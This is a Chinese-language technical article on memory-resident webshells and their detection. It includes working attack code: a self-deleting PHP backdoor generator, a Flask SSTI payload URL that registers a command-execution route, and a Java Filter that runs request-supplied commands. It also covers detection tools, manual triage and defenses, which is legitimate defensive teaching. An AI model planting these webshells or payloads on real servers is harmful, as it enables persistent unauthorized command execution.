内存马简单介绍
字数 1953 2025-08-12 11:34:24

内存马技术全面解析与防御指南

一、内存马概述

内存Webshell(内存马)是一种驻留在服务器内存中的恶意程序,相比传统Webshell具有以下特点:

  • 无文件落地:不依赖磁盘文件,直接驻留内存
  • 隐蔽性强:绕过传统文件检测机制
  • 持久化:服务重启前持续有效
  • 难以清除:常规文件删除无效

常见类型:

  1. PHP不死马
  2. Python Flask内存马
  3. Java Filter/Servlet/Listener内存马
  4. Spring MVC Controller/Interceptor内存马

二、PHP不死马技术

原理与实现

PHP不死马通过以下机制实现持久化:

<?php
set_time_limit(0);  // 取消脚本执行时间限制
ignore_user_abort(1); // 忽略用户断开连接
unlink(__FILE__); // 删除自身文件

while (1) {
    $content = '<?php @eval($_POST["zzz"]);?>';
    file_put_contents("22.php", $content); // 持续生成后门文件
    usleep(10000); // 微秒级延迟
}
?>

关键函数解析

  • ignore_user_abort(): 保持脚本在客户端断开后继续执行
  • set_time_limit(0): 取消脚本执行时间限制
  • unlink(__FILE__): 自删除
  • usleep(): 控制生成频率

检测与清除方法

  1. 检测方法

    • 检查长时间运行的PHP进程
    • 检查不存在的源文件但仍在执行的脚本
  2. 清除方法

    • 条件竞争写入:创建同名文件覆盖
    while(1){
        file_put_contents("22.php","<?php //clean?>");
        usleep(1000); // 比不死马的usleep值更小
    }
    
    • 重启PHP服务

三、Python Flask内存马

原理与实现

利用Flask的SSTI(服务端模板注入)漏洞动态注册路由:

from flask import Flask, render_template_string, request
app = Flask(__name__)

@app.route('/index')
def index():
    content = request.args.get('content')
    return render_template_string(content)  # 漏洞点

恶意Payload示例:

http://127.0.0.1:5000/index?content={{a.__init__.__globals__['__builtins__']['eval']("app.add_url_rule('/shell1','shell',lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd','whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}

关键属性解析

  • __class__: 获取对象类型
  • __bases__: 获取基类列表
  • __globals__: 获取全局命名空间
  • __builtins__: 访问内置函数(eval/exec等)

检测方法

  1. 检查异常路由(如/shell)
  2. 监控add_url_rule调用
  3. 检查内建模块中的危险函数

四、Java内存马技术

1. Filter型内存马

实现原理

动态注册恶意Filter到Tomcat容器:

class MaliciousFilter implements Filter {
    public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
        String cmd = req.getParameter("cmd");
        if(cmd != null) {
            // 执行命令逻辑
            Process p = Runtime.getRuntime().exec(cmd);
            // 返回结果...
            return;
        }
        chain.doFilter(req, res);
    }
}

注册流程:

  1. 获取StandardContext
  2. 创建FilterDef并设置恶意类
  3. 创建FilterMap设置URL模式
  4. 创建FilterConfig并注册

检测特征

  • 异常Filter名称(如"shell")
  • 高优先级Filter
  • web.xml中无对应配置
  • ClassLoader路径下无class文件

2. Servlet/Listener型内存马

类似Filter型,通过动态注册Servlet或Listener实现命令执行。

3. Spring MVC内存马

Controller型

利用Spring的RequestMapping机制动态注册恶意Controller。

Interceptor型

通过注册恶意Interceptor拦截请求执行命令。

五、内存马检测与查杀

检测工具推荐

  1. java-memshell-scanner

    • GitHub: https://github.com/c0ny1/java-memshell-scanner
    • 使用方式:部署JSP扫描脚本
    • 可检测:Filter/Servlet/Listener型
  2. copagent

    • GitHub: https://github.com/LandGrey/copagent
    • 功能:导出所有加载的类供分析
    • 输出:危险等级分类、反编译结果
  3. Arthas

    • GitHub: https://github.com/alibaba/arthas
    • 关键命令:
      sc -d *Filter  # 查看Filter类
      sc -d *Servlet # 查看Servlet类
      jad com.example.MaliciousClass # 反编译
      
  4. Java VisualVM

    • JDK自带工具+MBbeans插件
    • 可查看注册的MBeans

手动排查方法

  1. 日志分析

    • 查找固定URL不同参数的200请求
    • 查找不存在的路径返回200
    • 查找冰蝎/哥斯拉特征流量
  2. 运行时分析

    • 检查异常线程
    • 检查高CPU占用进程
    • 对比加载类与磁盘文件
  3. 中间件检查

    • 检查error.log中的异常
    • 检查最近部署的应用
    • 检查框架漏洞利用痕迹

六、防御建议

  1. 代码层面

    • 关闭危险函数(eval/exec等)
    • 严格过滤用户输入
    • 禁用不必要的动态代码执行
  2. 配置层面

    • 限制文件上传类型
    • 设置严格的访问控制
    • 关闭调试模式
  3. 运行时防护

    • 部署RASP解决方案
    • 使用内存马检测工具定期扫描
    • 监控异常进程行为
  4. 应急响应

    • 保留现场快照(内存dump)
    • 彻底排查入侵路径
    • 服务重启前确保清除所有恶意代码

七、参考资源

  1. 工具集合:

    • java-memshell-scanner
    • copagent
    • Arthas
  2. 技术文章:

    • 《基于内存Webshell的无文件攻击技术研究》
    • 《Tomcat内存马学习系列》
    • 《Spring Interceptor内存马利用》
  3. 检测指南:

    • 《Filter/Servlet型内存马的扫描抓捕与查杀》
    • 《基于javaAgent内存马检测查杀指南》

通过全面了解内存马技术原理、掌握检测方法并实施有效防御措施,可以显著提升服务器安全性,防范这类高级威胁。

内存马技术全面解析与防御指南 一、内存马概述 内存Webshell(内存马)是一种驻留在服务器内存中的恶意程序,相比传统Webshell具有以下特点: 无文件落地:不依赖磁盘文件,直接驻留内存 隐蔽性强:绕过传统文件检测机制 持久化:服务重启前持续有效 难以清除:常规文件删除无效 常见类型: PHP不死马 Python Flask内存马 Java Filter/Servlet/Listener内存马 Spring MVC Controller/Interceptor内存马 二、PHP不死马技术 原理与实现 PHP不死马通过以下机制实现持久化: 关键函数解析 ignore_user_abort() : 保持脚本在客户端断开后继续执行 set_time_limit(0) : 取消脚本执行时间限制 unlink(__FILE__) : 自删除 usleep() : 控制生成频率 检测与清除方法 检测方法 : 检查长时间运行的PHP进程 检查不存在的源文件但仍在执行的脚本 清除方法 : 条件竞争写入:创建同名文件覆盖 重启PHP服务 三、Python Flask内存马 原理与实现 利用Flask的SSTI(服务端模板注入)漏洞动态注册路由: 恶意Payload示例: 关键属性解析 __class__ : 获取对象类型 __bases__ : 获取基类列表 __globals__ : 获取全局命名空间 __builtins__ : 访问内置函数(eval/exec等) 检测方法 检查异常路由(如/shell) 监控 add_url_rule 调用 检查内建模块中的危险函数 四、Java内存马技术 1. Filter型内存马 实现原理 动态注册恶意Filter到Tomcat容器: 注册流程: 获取StandardContext 创建FilterDef并设置恶意类 创建FilterMap设置URL模式 创建FilterConfig并注册 检测特征 异常Filter名称(如"shell") 高优先级Filter web.xml中无对应配置 ClassLoader路径下无class文件 2. Servlet/Listener型内存马 类似Filter型,通过动态注册Servlet或Listener实现命令执行。 3. Spring MVC内存马 Controller型 利用Spring的RequestMapping机制动态注册恶意Controller。 Interceptor型 通过注册恶意Interceptor拦截请求执行命令。 五、内存马检测与查杀 检测工具推荐 java-memshell-scanner GitHub: https://github.com/c0ny1/java-memshell-scanner 使用方式:部署JSP扫描脚本 可检测:Filter/Servlet/Listener型 copagent GitHub: https://github.com/LandGrey/copagent 功能:导出所有加载的类供分析 输出:危险等级分类、反编译结果 Arthas GitHub: https://github.com/alibaba/arthas 关键命令: Java VisualVM JDK自带工具+MBbeans插件 可查看注册的MBeans 手动排查方法 日志分析 : 查找固定URL不同参数的200请求 查找不存在的路径返回200 查找冰蝎/哥斯拉特征流量 运行时分析 : 检查异常线程 检查高CPU占用进程 对比加载类与磁盘文件 中间件检查 : 检查error.log中的异常 检查最近部署的应用 检查框架漏洞利用痕迹 六、防御建议 代码层面 : 关闭危险函数(eval/exec等) 严格过滤用户输入 禁用不必要的动态代码执行 配置层面 : 限制文件上传类型 设置严格的访问控制 关闭调试模式 运行时防护 : 部署RASP解决方案 使用内存马检测工具定期扫描 监控异常进程行为 应急响应 : 保留现场快照(内存dump) 彻底排查入侵路径 服务重启前确保清除所有恶意代码 七、参考资源 工具集合: java-memshell-scanner copagent Arthas 技术文章: 《基于内存Webshell的无文件攻击技术研究》 《Tomcat内存马学习系列》 《Spring Interceptor内存马利用》 检测指南: 《Filter/Servlet型内存马的扫描抓捕与查杀》 《基于javaAgent内存马检测查杀指南》 通过全面了解内存马技术原理、掌握检测方法并实施有效防御措施,可以显著提升服务器安全性,防范这类高级威胁。